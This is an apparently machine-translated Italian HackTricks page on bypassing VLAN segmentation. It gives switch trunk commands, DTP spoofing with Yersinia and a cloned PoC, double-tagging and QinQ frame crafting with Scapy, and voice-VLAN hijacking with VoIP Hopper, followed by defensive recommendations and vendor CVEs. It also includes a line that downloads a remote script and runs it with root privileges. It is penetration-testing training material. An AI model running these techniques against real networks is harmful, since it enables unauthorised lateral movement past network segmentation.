Lateral VLAN Segmentation Bypass
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Se lâaccesso diretto a uno switch è disponibile, la segmentazione VLAN può essere bypassata. Questo comporta la riconfigurazione della porta connessa in modalitĂ trunk, lâistituzione di interfacce virtuali per le VLAN target e lâimpostazione degli indirizzi IP, sia dinamicamente (DHCP) che staticamente, a seconda dello scenario (per ulteriori dettagli controlla https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).
Inizialmente, è necessaria lâidentificazione della specifica porta connessa. Questo può essere tipicamente realizzato attraverso messaggi CDP, o cercando la porta tramite la maschera include.
Se CDP non è operativo, lâidentificazione della porta può essere tentata cercando lâindirizzo MAC:
SW1(config)# show mac address-table | include 0050.0000.0500
Prima di passare alla modalitĂ trunk, è necessario compilare un elenco delle VLAN esistenti e determinare i loro identificatori. Questi identificatori vengono quindi assegnati allâinterfaccia, consentendo lâaccesso a varie VLAN attraverso il trunk. La porta in uso, ad esempio, è associata alla VLAN 10.
SW1# show vlan brief
La transizione alla modalitĂ trunk comporta lâingresso nella modalitĂ di configurazione dellâinterfaccia:
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
Passare alla modalità trunk interromperà temporaneamente la connettività , ma questa può essere ripristinata successivamente.
Vengono quindi create interfacce virtuali, assegnati ID VLAN e attivate:
# Legacy (vconfig) â still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link â preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
Successivamente, viene effettuata una richiesta di indirizzo tramite DHCP. In alternativa, nei casi in cui DHCP non sia praticabile, gli indirizzi possono essere configurati manualmente:
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
Esempio per impostare manualmente un indirizzo IP statico su unâinterfaccia (VLAN 10):
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
La connettivitĂ viene testata avviando richieste ICMP ai gateway predefiniti per le VLAN 10, 20, 50 e 60.
In definitiva, questo processo consente di bypassare la segmentazione VLAN, facilitando cosĂŹ lâaccesso illimitato a qualsiasi rete VLAN e preparando il terreno per azioni successive.
Altre Tecniche di VLAN-Hopping (senza CLI switch privilegiata)
Il metodo precedente presuppone lâaccesso autenticato alla console o Telnet/SSH allo switch. Negli impegni del mondo reale, lâattaccante è solitamente connesso a una porta di accesso regolare. I seguenti trucchi di Layer-2 spesso ti permettono di pivotare lateralmente senza mai accedere al sistema operativo dello switch:
1. Switch-Spoofing con Dynamic Trunking Protocol (DTP)
Gli switch Cisco che mantengono DTP abilitato negozieranno felicemente un trunk se il peer afferma di essere uno switch. Creare un singolo frame DTP âdesirableâ o âtrunkâ converte la porta di accesso in un trunk 802.1Q che trasporta tutte le VLAN consentite.
Yersinia e diversi PoC automatizzano il processo:
# Become a trunk using Yersinia (GUI)
sudo yersinia -G # Launch GUI â Launch attack â DTP â enabling trunking
# Python PoC (dtp-spoof)
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
Recon helper (identificare passivamente lo stato DTP della porta):
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
Una volta che la porta passa a trunk, puoi creare sottointerfacce 802.1Q e pivotare esattamente come mostrato nella sezione precedente.
2. Double-Tagging (Abuso del Native-VLAN)
Se lâattaccante si trova sul native (untagged) VLAN, un frame creato con due intestazioni 802.1Q può saltare a un secondo VLAN anche quando la porta è bloccata in modalitĂ accesso. Strumenti come VLANPWN DoubleTagging.py (refresh 2022-2025) automatizzano lâiniezione:
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
3. QinQ (802.1ad) Stacking
Molti core aziendali supportano lâincapsulamento Q-in-Q dei fornitori di servizi. Dove consentito, un attaccante può incapsulare traffico etichettato 802.1Q arbitrario allâinterno di un fornitore (S-tag) per attraversare le zone di sicurezza. Cattura per ethertype 0x88a8 e prova a rimuovere lâetichetta esterna con Scapy:
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
Le porte di accesso aziendali si trovano spesso in una configurazione âaccess + voiceâ: VLAN dati non contrassegnata per la workstation e una VLAN voce contrassegnata pubblicizzata tramite CDP o LLDP-MED. Impersonando un telefono IP, lâattaccante può scoprire automaticamente e accedere alla VLAN VoIP, anche quando DTP è disabilitato.
VoIP Hopper (incluso in Kali 2025.2) supporta CDP, opzioni DHCP 176/242 e spoofing completo di LLDP-MED:
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff â auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
La tecnica bypassa la separazione dei dati/voce ed è estremamente comune sugli switch edge aziendali nel 2025 perchÊ la politica automatica LLDP è abilitata per impostazione predefinita su molti modelli.
Raccomandazioni Difensive
- Disabilitare DTP su tutte le porte rivolte agli utenti:
switchport mode access+switchport nonegotiate. - Cambiare il VLAN nativo su ogni trunk in un VLAN non utilizzato, black-hole e taggarlo:
vlan dot1q tag native. - Potare VLAN non necessarie sui trunk:
switchport trunk allowed vlan 10,20. - Applicare la sicurezza delle porte, DHCP snooping, ispezione ARP dinamica e 802.1X per limitare lâattivitĂ Layer-2 non autorizzata.
- Disabilitare le politiche automatiche di voce LLDP-MED (o bloccarle a MAC OUI autenticati) se il spoofing del telefono IP non è richiesto.
- Preferire VLAN private o segmentazione L3 invece di fare affidamento esclusivamente sulla separazione 802.1Q.
VulnerabilitĂ dei Fornitori nel Mondo Reale (2022-2024)
Anche una configurazione di switch perfettamente rinforzata può essere compromessa da bug del firmware. Esempi recenti includono:
- CVE-2022-20728â â Cisco Aironet/Catalyst Access Points consentono lâiniezione dal VLAN nativo in VLAN WLAN non native, bypassando la segmentazione cablata/wi-fi.
- CVE-2024-20465 (Cisco IOS Industrial Ethernet) consente il bypass delle ACL su SVI dopo aver attivato il Protocollo Ethernet Resiliente, facendo trapelare il traffico tra VRF/VLAN. Patch 17.9.5 o successiva.
Monitorare sempre gli avvisi dei fornitori per problemi di bypass/ACL relativi ai VLAN e mantenere aggiornate le immagini dellâinfrastruttura.
Riferimenti
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- VLANPWN attack toolkit â https://github.com/casterbytethrowback/VLANPWN
- Twingate âWhat is VLAN Hopping?â (Aug 2024) â https://www.twingate.com/blog/glossary/vlan%20hopping
- VoIP Hopper project â https://github.com/hmgh0st/voiphopper
- Cisco Advisory âcisco-sa-apvlan-TDTtb4FYâ â https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

